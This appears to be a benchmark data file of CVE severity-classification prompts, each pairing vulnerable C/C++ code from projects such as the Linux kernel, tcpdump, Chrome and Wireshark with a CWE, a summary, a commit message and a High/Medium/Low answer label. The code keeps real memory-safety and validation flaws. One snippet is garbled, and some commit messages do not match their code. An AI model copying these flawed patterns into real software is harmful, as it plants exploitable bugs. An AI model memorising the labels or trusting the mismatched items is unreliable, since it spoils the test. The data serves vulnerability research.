Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: juniper_es_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
struct juniper_l2info_t l2info;
struct juniper_ipsec_header {
uint8_t sa_index[2];
uint8_t ttl;
uint8_t type;
uint8_t spi[4];
uint8_t src_ip[4];
uint8_t dst_ip[4];
};
u_int rewrite_len,es_type_bundle;
const struct juniper_ipsec_header *ih;
l2info.pictype = DLT_JUNIPER_ES;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
ih = (const struct juniper_ipsec_header *)p;
switch (ih->type) {
case JUNIPER_IPSEC_O_ESP_ENCRYPT_ESP_AUTHEN_TYPE:
case JUNIPER_IPSEC_O_ESP_ENCRYPT_AH_AUTHEN_TYPE:
rewrite_len = 0;
es_type_bundle = 1;
break;
case JUNIPER_IPSEC_O_ESP_AUTHENTICATION_TYPE:
case JUNIPER_IPSEC_O_AH_AUTHENTICATION_TYPE:
case JUNIPER_IPSEC_O_ESP_ENCRYPTION_TYPE:
rewrite_len = 16;
es_type_bundle = 0;
break;
default:
ND_PRINT((ndo, "ES Invalid type %u, length %u",
ih->type,
l2info.length));
return l2info.header_len;
}
l2info.length-=rewrite_len;
p+=rewrite_len;
if (ndo->ndo_eflag) {
if (!es_type_bundle) {
ND_PRINT((ndo, "ES SA, index %u, ttl %u type %s (%u), spi %u, Tunnel %s > %s, length %u\n",
EXTRACT_16BITS(&ih->sa_index),
ih->ttl,
tok2str(juniper_ipsec_type_values,"Unknown",ih->type),
ih->type,
EXTRACT_32BITS(&ih->spi),
ipaddr_string(ndo, &ih->src_ip),
ipaddr_string(ndo, &ih->dst_ip),
l2info.length));
} else {
ND_PRINT((ndo, "ES SA, index %u, ttl %u type %s (%u), length %u\n",
EXTRACT_16BITS(&ih->sa_index),
ih->ttl,
tok2str(juniper_ipsec_type_values,"Unknown",ih->type),
ih->type,
l2info.length));
}
}
ip_print(ndo, p, l2info.length);
return l2info.header_len;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The Juniper protocols parser in tcpdump before 4.9.2 has a buffer over-read in print-juniper.c, several functions.
Commit Message: CVE-2017-12993/Juniper: Add more bounds checks.
This fixes a buffer over-read discovered by Kamil Frankowicz.
Add tests using the capture files supplied by the reporter(s). | High | 167,916 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_esn,
struct nlattr *rp)
{
struct xfrm_replay_state_esn *up;
int ulen;
if (!replay_esn || !rp)
return 0;
up = nla_data(rp);
ulen = xfrm_replay_state_esn_len(up);
if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen)
return -EINVAL;
return 0;
}
Vulnerability Type: DoS
CWE ID:
Summary: The xfrm_replay_verify_len function in net/xfrm/xfrm_user.c in the Linux kernel through 4.10.6 does not validate certain size data after an XFRM_MSG_NEWAE update, which allows local users to obtain root privileges or cause a denial of service (heap-based out-of-bounds access) by leveraging the CAP_NET_ADMIN capability, as demonstrated during a Pwn2Own competition at CanSecWest 2017 for the Ubuntu 16.10 linux-image-* package 4.8.0.41.52.
Commit Message: xfrm_user: validate XFRM_MSG_NEWAE XFRMA_REPLAY_ESN_VAL replay_window
When a new xfrm state is created during an XFRM_MSG_NEWSA call we
validate the user supplied replay_esn to ensure that the size is valid
and to ensure that the replay_window size is within the allocated
buffer. However later it is possible to update this replay_esn via a
XFRM_MSG_NEWAE call. There we again validate the size of the supplied
buffer matches the existing state and if so inject the contents. We do
not at this point check that the replay_window is within the allocated
memory. This leads to out-of-bounds reads and writes triggered by
netlink packets. This leads to memory corruption and the potential for
priviledge escalation.
We already attempt to validate the incoming replay information in
xfrm_new_ae() via xfrm_replay_verify_len(). This confirms that the user
is not trying to change the size of the replay state buffer which
includes the replay_esn. It however does not check the replay_window
remains within that buffer. Add validation of the contained
replay_window.
CVE-2017-7184
Signed-off-by: Andy Whitcroft <[email protected]>
Acked-by: Steffen Klassert <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]> | High | 170,075 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static inline int l2cap_connect_rsp(struct l2cap_conn *conn, struct l2cap_cmd_hdr *cmd, u8 *data)
{
struct l2cap_conn_rsp *rsp = (struct l2cap_conn_rsp *) data;
u16 scid, dcid, result, status;
struct sock *sk;
u8 req[128];
scid = __le16_to_cpu(rsp->scid);
dcid = __le16_to_cpu(rsp->dcid);
result = __le16_to_cpu(rsp->result);
status = __le16_to_cpu(rsp->status);
BT_DBG("dcid 0x%4.4x scid 0x%4.4x result 0x%2.2x status 0x%2.2x", dcid, scid, result, status);
if (scid) {
sk = l2cap_get_chan_by_scid(&conn->chan_list, scid);
if (!sk)
return 0;
} else {
sk = l2cap_get_chan_by_ident(&conn->chan_list, cmd->ident);
if (!sk)
return 0;
}
switch (result) {
case L2CAP_CR_SUCCESS:
sk->sk_state = BT_CONFIG;
l2cap_pi(sk)->ident = 0;
l2cap_pi(sk)->dcid = dcid;
l2cap_pi(sk)->conf_state |= L2CAP_CONF_REQ_SENT;
l2cap_pi(sk)->conf_state &= ~L2CAP_CONF_CONNECT_PEND;
l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,
l2cap_build_conf_req(sk, req), req);
break;
case L2CAP_CR_PEND:
l2cap_pi(sk)->conf_state |= L2CAP_CONF_CONNECT_PEND;
break;
default:
l2cap_chan_del(sk, ECONNREFUSED);
break;
}
bh_unlock_sock(sk);
return 0;
}
Vulnerability Type: Exec Code Overflow
CWE ID: CWE-119
Summary: The native Bluetooth stack in the Linux Kernel (BlueZ), starting at the Linux kernel version 2.6.32 and up to and including 4.13.1, are vulnerable to a stack overflow vulnerability in the processing of L2CAP configuration responses resulting in Remote code execution in kernel space.
Commit Message: Bluetooth: Add configuration support for ERTM and Streaming mode
Add support to config_req and config_rsp to configure ERTM and Streaming
mode. If the remote device specifies ERTM or Streaming mode, then the
same mode is proposed. Otherwise ERTM or Basic mode is used. And in case
of a state 2 device, the remote device should propose the same mode. If
not, then the channel gets disconnected.
Signed-off-by: Gustavo F. Padovan <[email protected]>
Signed-off-by: Marcel Holtmann <[email protected]> | High | 167,624 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void copyStereo8(
short *dst,
const int *const *src,
unsigned nSamples,
unsigned /* nChannels */) {
for (unsigned i = 0; i < nSamples; ++i) {
*dst++ = src[0][i] << 8;
*dst++ = src[1][i] << 8;
}
}
Vulnerability Type: Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: A remote code execution vulnerability in FLACExtractor.cpp in libstagefright in Mediaserver could enable an attacker using a specially crafted file to cause memory corruption during media file and data processing. This issue is rated as Critical due to the possibility of remote code execution within the context of the Mediaserver process. Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-34970788.
Commit Message: FLACExtractor: copy protect mWriteBuffer
Bug: 30895578
Change-Id: I4cba36bbe3502678210e5925181683df9726b431
| High | 174,023 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int nbd_negotiate_drop_sync(QIOChannel *ioc, size_t size)
{
ssize_t ret;
uint8_t *buffer = g_malloc(MIN(65536, size));
while (size > 0) {
size_t count = MIN(65536, size);
ret = nbd_negotiate_read(ioc, buffer, count);
if (ret < 0) {
g_free(buffer);
return ret;
}
size -= count;
}
g_free(buffer);
return 0;
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: An assertion-failure flaw was found in Qemu before 2.10.1, in the Network Block Device (NBD) server's initial connection negotiation, where the I/O coroutine was undefined. This could crash the qemu-nbd server if a client sent unexpected data during connection negotiation. A remote user or process could use this flaw to crash the qemu-nbd server resulting in denial of service.
Commit Message: | Medium | 165,453 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void UninstallExtension(ExtensionService* service, const std::string& id) {
if (service && service->GetInstalledExtension(id)) {
service->UninstallExtension(id,
extensions::UNINSTALL_REASON_SYNC,
base::Bind(&base::DoNothing),
NULL);
}
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 32.0.1700.76 on Windows and before 32.0.1700.77 on Mac OS X and Linux allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: [Extensions] Add GetInstalledExtension() method to ExtensionRegistry
This CL adds GetInstalledExtension() method to ExtensionRegistry and
uses it instead of deprecated ExtensionService::GetInstalledExtension()
in chrome/browser/ui/app_list/.
Part of removing the deprecated GetInstalledExtension() call
from the ExtensionService.
BUG=489687
Review URL: https://codereview.chromium.org/1130353010
Cr-Commit-Position: refs/heads/master@{#333036} | High | 171,722 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int khugepaged_enter_vma_merge(struct vm_area_struct *vma)
{
unsigned long hstart, hend;
if (!vma->anon_vma)
/*
* Not yet faulted in so we will register later in the
* page fault if needed.
*/
return 0;
if (vma->vm_file || vma->vm_ops)
/* khugepaged not yet working on file or special mappings */
return 0;
VM_BUG_ON(is_linear_pfn_mapping(vma) || is_pfn_mapping(vma));
hstart = (vma->vm_start + ~HPAGE_PMD_MASK) & HPAGE_PMD_MASK;
hend = vma->vm_end & HPAGE_PMD_MASK;
if (hstart < hend)
return khugepaged_enter(vma);
return 0;
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: The Linux kernel before 2.6.39 does not properly create transparent huge pages in response to a MAP_PRIVATE mmap system call on /dev/zero, which allows local users to cause a denial of service (system crash) via a crafted application.
Commit Message: mm: thp: fix /dev/zero MAP_PRIVATE and vm_flags cleanups
The huge_memory.c THP page fault was allowed to run if vm_ops was null
(which would succeed for /dev/zero MAP_PRIVATE, as the f_op->mmap wouldn't
setup a special vma->vm_ops and it would fallback to regular anonymous
memory) but other THP logics weren't fully activated for vmas with vm_file
not NULL (/dev/zero has a not NULL vma->vm_file).
So this removes the vm_file checks so that /dev/zero also can safely use
THP (the other albeit safer approach to fix this bug would have been to
prevent the THP initial page fault to run if vm_file was set).
After removing the vm_file checks, this also makes huge_memory.c stricter
in khugepaged for the DEBUG_VM=y case. It doesn't replace the vm_file
check with a is_pfn_mapping check (but it keeps checking for VM_PFNMAP
under VM_BUG_ON) because for a is_cow_mapping() mapping VM_PFNMAP should
only be allowed to exist before the first page fault, and in turn when
vma->anon_vma is null (so preventing khugepaged registration). So I tend
to think the previous comment saying if vm_file was set, VM_PFNMAP might
have been set and we could still be registered in khugepaged (despite
anon_vma was not NULL to be registered in khugepaged) was too paranoid.
The is_linear_pfn_mapping check is also I think superfluous (as described
by comment) but under DEBUG_VM it is safe to stay.
Addresses https://bugzilla.kernel.org/show_bug.cgi?id=33682
Signed-off-by: Andrea Arcangeli <[email protected]>
Reported-by: Caspar Zhang <[email protected]>
Acked-by: Mel Gorman <[email protected]>
Acked-by: Rik van Riel <[email protected]>
Cc: <[email protected]> [2.6.38.x]
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]> | Medium | 166,227 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xfs_iget_cache_miss(
struct xfs_mount *mp,
struct xfs_perag *pag,
xfs_trans_t *tp,
xfs_ino_t ino,
struct xfs_inode **ipp,
int flags,
int lock_flags)
{
struct xfs_inode *ip;
int error;
xfs_agino_t agino = XFS_INO_TO_AGINO(mp, ino);
int iflags;
ip = xfs_inode_alloc(mp, ino);
if (!ip)
return -ENOMEM;
error = xfs_iread(mp, tp, ip, flags);
if (error)
goto out_destroy;
if (!xfs_inode_verify_forks(ip)) {
error = -EFSCORRUPTED;
goto out_destroy;
}
trace_xfs_iget_miss(ip);
/*
* If we are allocating a new inode, then check what was returned is
* actually a free, empty inode. If we are not allocating an inode,
* the check we didn't find a free inode.
*/
if (flags & XFS_IGET_CREATE) {
if (VFS_I(ip)->i_mode != 0) {
xfs_warn(mp,
"Corruption detected! Free inode 0x%llx not marked free on disk",
ino);
error = -EFSCORRUPTED;
goto out_destroy;
}
if (ip->i_d.di_nblocks != 0) {
xfs_warn(mp,
"Corruption detected! Free inode 0x%llx has blocks allocated!",
ino);
error = -EFSCORRUPTED;
goto out_destroy;
}
} else if (VFS_I(ip)->i_mode == 0) {
error = -ENOENT;
goto out_destroy;
}
/*
* Preload the radix tree so we can insert safely under the
* write spinlock. Note that we cannot sleep inside the preload
* region. Since we can be called from transaction context, don't
* recurse into the file system.
*/
if (radix_tree_preload(GFP_NOFS)) {
error = -EAGAIN;
goto out_destroy;
}
/*
* Because the inode hasn't been added to the radix-tree yet it can't
* be found by another thread, so we can do the non-sleeping lock here.
*/
if (lock_flags) {
if (!xfs_ilock_nowait(ip, lock_flags))
BUG();
}
/*
* These values must be set before inserting the inode into the radix
* tree as the moment it is inserted a concurrent lookup (allowed by the
* RCU locking mechanism) can find it and that lookup must see that this
* is an inode currently under construction (i.e. that XFS_INEW is set).
* The ip->i_flags_lock that protects the XFS_INEW flag forms the
* memory barrier that ensures this detection works correctly at lookup
* time.
*/
iflags = XFS_INEW;
if (flags & XFS_IGET_DONTCACHE)
iflags |= XFS_IDONTCACHE;
ip->i_udquot = NULL;
ip->i_gdquot = NULL;
ip->i_pdquot = NULL;
xfs_iflags_set(ip, iflags);
/* insert the new inode */
spin_lock(&pag->pag_ici_lock);
error = radix_tree_insert(&pag->pag_ici_root, agino, ip);
if (unlikely(error)) {
WARN_ON(error != -EEXIST);
XFS_STATS_INC(mp, xs_ig_dup);
error = -EAGAIN;
goto out_preload_end;
}
spin_unlock(&pag->pag_ici_lock);
radix_tree_preload_end();
*ipp = ip;
return 0;
out_preload_end:
spin_unlock(&pag->pag_ici_lock);
radix_tree_preload_end();
if (lock_flags)
xfs_iunlock(ip, lock_flags);
out_destroy:
__destroy_inode(VFS_I(ip));
xfs_inode_free(ip);
return error;
}
Vulnerability Type:
CWE ID: CWE-476
Summary: An issue was discovered in fs/xfs/xfs_icache.c in the Linux kernel through 4.17.3. There is a NULL pointer dereference and panic in lookup_slow() on a NULL inode->i_ops pointer when doing pathwalks on a corrupted xfs image. This occurs because of a lack of proper validation that cached inodes are free during allocation.
Commit Message: xfs: validate cached inodes are free when allocated
A recent fuzzed filesystem image cached random dcache corruption
when the reproducer was run. This often showed up as panics in
lookup_slow() on a null inode->i_ops pointer when doing pathwalks.
BUG: unable to handle kernel NULL pointer dereference at 0000000000000000
....
Call Trace:
lookup_slow+0x44/0x60
walk_component+0x3dd/0x9f0
link_path_walk+0x4a7/0x830
path_lookupat+0xc1/0x470
filename_lookup+0x129/0x270
user_path_at_empty+0x36/0x40
path_listxattr+0x98/0x110
SyS_listxattr+0x13/0x20
do_syscall_64+0xf5/0x280
entry_SYSCALL_64_after_hwframe+0x42/0xb7
but had many different failure modes including deadlocks trying to
lock the inode that was just allocated or KASAN reports of
use-after-free violations.
The cause of the problem was a corrupt INOBT on a v4 fs where the
root inode was marked as free in the inobt record. Hence when we
allocated an inode, it chose the root inode to allocate, found it in
the cache and re-initialised it.
We recently fixed a similar inode allocation issue caused by inobt
record corruption problem in xfs_iget_cache_miss() in commit
ee457001ed6c ("xfs: catch inode allocation state mismatch
corruption"). This change adds similar checks to the cache-hit path
to catch it, and turns the reproducer into a corruption shutdown
situation.
Reported-by: Wen Xu <[email protected]>
Signed-Off-By: Dave Chinner <[email protected]>
Reviewed-by: Christoph Hellwig <[email protected]>
Reviewed-by: Carlos Maiolino <[email protected]>
Reviewed-by: Darrick J. Wong <[email protected]>
[darrick: fix typos in comment]
Signed-off-by: Darrick J. Wong <[email protected]> | Medium | 169,166 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int bnep_add_connection(struct bnep_connadd_req *req, struct socket *sock)
{
struct net_device *dev;
struct bnep_session *s, *ss;
u8 dst[ETH_ALEN], src[ETH_ALEN];
int err;
BT_DBG("");
baswap((void *) dst, &l2cap_pi(sock->sk)->chan->dst);
baswap((void *) src, &l2cap_pi(sock->sk)->chan->src);
/* session struct allocated as private part of net_device */
dev = alloc_netdev(sizeof(struct bnep_session),
(*req->device) ? req->device : "bnep%d",
NET_NAME_UNKNOWN,
bnep_net_setup);
if (!dev)
return -ENOMEM;
down_write(&bnep_session_sem);
ss = __bnep_get_session(dst);
if (ss && ss->state == BT_CONNECTED) {
err = -EEXIST;
goto failed;
}
s = netdev_priv(dev);
/* This is rx header therefore addresses are swapped.
* ie. eh.h_dest is our local address. */
memcpy(s->eh.h_dest, &src, ETH_ALEN);
memcpy(s->eh.h_source, &dst, ETH_ALEN);
memcpy(dev->dev_addr, s->eh.h_dest, ETH_ALEN);
s->dev = dev;
s->sock = sock;
s->role = req->role;
s->state = BT_CONNECTED;
s->msg.msg_flags = MSG_NOSIGNAL;
#ifdef CONFIG_BT_BNEP_MC_FILTER
/* Set default mc filter */
set_bit(bnep_mc_hash(dev->broadcast), (ulong *) &s->mc_filter);
#endif
#ifdef CONFIG_BT_BNEP_PROTO_FILTER
/* Set default protocol filter */
bnep_set_default_proto_filter(s);
#endif
SET_NETDEV_DEV(dev, bnep_get_device(s));
SET_NETDEV_DEVTYPE(dev, &bnep_type);
err = register_netdev(dev);
if (err)
goto failed;
__bnep_link_session(s);
__module_get(THIS_MODULE);
s->task = kthread_run(bnep_session, s, "kbnepd %s", dev->name);
if (IS_ERR(s->task)) {
/* Session thread start failed, gotta cleanup. */
module_put(THIS_MODULE);
unregister_netdev(dev);
__bnep_unlink_session(s);
err = PTR_ERR(s->task);
goto failed;
}
up_write(&bnep_session_sem);
strcpy(req->device, dev->name);
return 0;
failed:
up_write(&bnep_session_sem);
free_netdev(dev);
return err;
}
Vulnerability Type: +Priv
CWE ID: CWE-20
Summary: The bnep_add_connection function in net/bluetooth/bnep/core.c in the Linux kernel before 3.19 does not ensure that an l2cap socket is available, which allows local users to gain privileges via a crafted application.
Commit Message: Bluetooth: bnep: bnep_add_connection() should verify that it's dealing with l2cap socket
same story as cmtp
Signed-off-by: Al Viro <[email protected]>
Signed-off-by: Marcel Holtmann <[email protected]> | High | 167,716 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: parse_netscreen_rec_hdr(struct wtap_pkthdr *phdr, const char *line, char *cap_int,
gboolean *cap_dir, char *cap_dst, int *err, gchar **err_info)
{
int sec;
int dsec, pkt_len;
char direction[2];
char cap_src[13];
phdr->rec_type = REC_TYPE_PACKET;
phdr->presence_flags = WTAP_HAS_TS|WTAP_HAS_CAP_LEN;
if (sscanf(line, "%9d.%9d: %15[a-z0-9/:.-](%1[io]) len=%9d:%12s->%12s/",
&sec, &dsec, cap_int, direction, &pkt_len, cap_src, cap_dst) < 5) {
*err = WTAP_ERR_BAD_FILE;
*err_info = g_strdup("netscreen: Can't parse packet-header");
return -1;
}
*cap_dir = (direction[0] == 'o' ? NETSCREEN_EGRESS : NETSCREEN_INGRESS);
phdr->ts.secs = sec;
phdr->ts.nsecs = dsec * 100000000;
phdr->len = pkt_len;
return pkt_len;
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: wiretap/netscreen.c in the NetScreen file parser in Wireshark 1.12.x before 1.12.12 and 2.x before 2.0.4 mishandles sscanf unsigned-integer processing, which allows remote attackers to cause a denial of service (application crash) via a crafted file.
Commit Message: Fix packet length handling.
Treat the packet length as unsigned - it shouldn't be negative in the
file. If it is, that'll probably cause the sscanf to fail, so we'll
report the file as bad.
Check it against WTAP_MAX_PACKET_SIZE to make sure we don't try to
allocate a huge amount of memory, just as we do in other file readers.
Use the now-validated packet size as the length in
ws_buffer_assure_space(), so we are certain to have enough space, and
don't allocate too much space.
Merge the header and packet data parsing routines while we're at it.
Bug: 12396
Change-Id: I7f981f9cdcbea7ecdeb88bfff2f12d875de2244f
Reviewed-on: https://code.wireshark.org/review/15176
Reviewed-by: Guy Harris <[email protected]> | Medium | 167,149 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: DevToolsSession::DevToolsSession(DevToolsAgentHostImpl* agent_host,
DevToolsAgentHostClient* client)
: binding_(this),
agent_host_(agent_host),
client_(client),
process_(nullptr),
host_(nullptr),
dispatcher_(new protocol::UberDispatcher(this)),
weak_factory_(this) {
dispatcher_->setFallThroughForNotFound(true);
}
Vulnerability Type: Exec Code
CWE ID: CWE-20
Summary: An object lifetime issue in the developer tools network handler in Google Chrome prior to 66.0.3359.117 allowed a local attacker to execute arbitrary code via a crafted HTML page.
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#531157} | Medium | 172,741 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: ProcXResQueryResourceBytes (ClientPtr client)
{
REQUEST(xXResQueryResourceBytesReq);
int rc;
ConstructResourceBytesCtx ctx;
REQUEST_AT_LEAST_SIZE(xXResQueryResourceBytesReq);
REQUEST_FIXED_SIZE(xXResQueryResourceBytesReq,
stuff->numSpecs * sizeof(ctx.specs[0]));
(void*) ((char*) stuff +
sz_xXResQueryResourceBytesReq))) {
return BadAlloc;
}
rc = ConstructResourceBytes(stuff->client, &ctx);
if (rc == Success) {
xXResQueryResourceBytesReply rep = {
.type = X_Reply,
.sequenceNumber = client->sequence,
.length = bytes_to_int32(ctx.resultBytes),
.numSizes = ctx.numSizes
};
if (client->swapped) {
swaps (&rep.sequenceNumber);
swapl (&rep.length);
swapl (&rep.numSizes);
SwapXResQueryResourceBytes(&ctx.response);
}
WriteToClient(client, sizeof(rep), &rep);
WriteFragmentsToClient(client, &ctx.response);
}
DestroyConstructResourceBytesCtx(&ctx);
return rc;
}
Vulnerability Type: Exec Code
CWE ID: CWE-20
Summary: xorg-x11-server before 1.19.5 was missing length validation in RENDER extension allowing malicious X client to cause X server to crash or possibly execute arbitrary code.
Commit Message: | High | 165,434 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool TestDataReductionProxyConfig::ShouldAddDefaultProxyBypassRules() const {
return add_default_proxy_bypass_rules_;
}
Vulnerability Type:
CWE ID: CWE-20
Summary: Lack of special casing of localhost in WPAD files in Google Chrome prior to 71.0.3578.80 allowed an attacker on the local network segment to proxy resources on localhost via a crafted WPAD file.
Commit Message: Implicitly bypass localhost when proxying requests.
This aligns Chrome's behavior with the Windows and macOS proxy resolvers (but not Firefox).
Concretely:
* localhost names (as determined by net::IsLocalhost) now implicitly bypass the proxy
* link-local IP addresses implicitly bypass the proxy
The implicit rules are handled by ProxyBypassRules, and it is possible to override them when manually configuring proxy settings (but not when using PAC or auto-detect).
This change also adds support for the "<-loopback>" proxy bypass rule, with similar semantics as it has on Windows (removes the implicit bypass rules for localhost and link-local).
The compatibility risk of this change should be low as proxying through localhost was not universally supported. It is however an idiom used in testing (a number of our own tests had such a dependency). Impacted users can use the "<-loopback>" bypass rule as a workaround.
Bug: 413511, 899126, 901896
Change-Id: I263ca21ef9f12d4759a20cb4751dc3261bda6ac0
Reviewed-on: https://chromium-review.googlesource.com/c/1303626
Commit-Queue: Eric Roman <[email protected]>
Reviewed-by: Dominick Ng <[email protected]>
Reviewed-by: Tarun Bansal <[email protected]>
Reviewed-by: Matt Menke <[email protected]>
Reviewed-by: Sami Kyöstilä <[email protected]>
Cr-Commit-Position: refs/heads/master@{#606112} | Low | 172,642 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int load_state_from_tss32(struct x86_emulate_ctxt *ctxt,
struct tss_segment_32 *tss)
{
int ret;
u8 cpl;
if (ctxt->ops->set_cr(ctxt, 3, tss->cr3))
return emulate_gp(ctxt, 0);
ctxt->_eip = tss->eip;
ctxt->eflags = tss->eflags | 2;
/* General purpose registers */
*reg_write(ctxt, VCPU_REGS_RAX) = tss->eax;
*reg_write(ctxt, VCPU_REGS_RCX) = tss->ecx;
*reg_write(ctxt, VCPU_REGS_RDX) = tss->edx;
*reg_write(ctxt, VCPU_REGS_RBX) = tss->ebx;
*reg_write(ctxt, VCPU_REGS_RSP) = tss->esp;
*reg_write(ctxt, VCPU_REGS_RBP) = tss->ebp;
*reg_write(ctxt, VCPU_REGS_RSI) = tss->esi;
*reg_write(ctxt, VCPU_REGS_RDI) = tss->edi;
/*
* SDM says that segment selectors are loaded before segment
* descriptors. This is important because CPL checks will
* use CS.RPL.
*/
set_segment_selector(ctxt, tss->ldt_selector, VCPU_SREG_LDTR);
set_segment_selector(ctxt, tss->es, VCPU_SREG_ES);
set_segment_selector(ctxt, tss->cs, VCPU_SREG_CS);
set_segment_selector(ctxt, tss->ss, VCPU_SREG_SS);
set_segment_selector(ctxt, tss->ds, VCPU_SREG_DS);
set_segment_selector(ctxt, tss->fs, VCPU_SREG_FS);
set_segment_selector(ctxt, tss->gs, VCPU_SREG_GS);
/*
* If we're switching between Protected Mode and VM86, we need to make
* sure to update the mode before loading the segment descriptors so
* that the selectors are interpreted correctly.
*/
if (ctxt->eflags & X86_EFLAGS_VM) {
ctxt->mode = X86EMUL_MODE_VM86;
cpl = 3;
} else {
ctxt->mode = X86EMUL_MODE_PROT32;
cpl = tss->cs & 3;
}
/*
* Now load segment descriptors. If fault happenes at this stage
* it is handled in a context of new task
*/
ret = __load_segment_descriptor(ctxt, tss->ldt_selector, VCPU_SREG_LDTR, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->es, VCPU_SREG_ES, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->cs, VCPU_SREG_CS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->ss, VCPU_SREG_SS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->ds, VCPU_SREG_DS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->fs, VCPU_SREG_FS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->gs, VCPU_SREG_GS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
return X86EMUL_CONTINUE;
}
Vulnerability Type: DoS
CWE ID: CWE-264
Summary: arch/x86/kvm/emulate.c in the KVM subsystem in the Linux kernel through 3.17.2 does not properly perform RIP changes, which allows guest OS users to cause a denial of service (guest OS crash) via a crafted application.
Commit Message: KVM: x86: Handle errors when RIP is set during far jumps
Far jmp/call/ret may fault while loading a new RIP. Currently KVM does not
handle this case, and may result in failed vm-entry once the assignment is
done. The tricky part of doing so is that loading the new CS affects the
VMCS/VMCB state, so if we fail during loading the new RIP, we are left in
unconsistent state. Therefore, this patch saves on 64-bit the old CS
descriptor and restores it if loading RIP failed.
This fixes CVE-2014-3647.
Cc: [email protected]
Signed-off-by: Nadav Amit <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]> | Low | 166,343 |
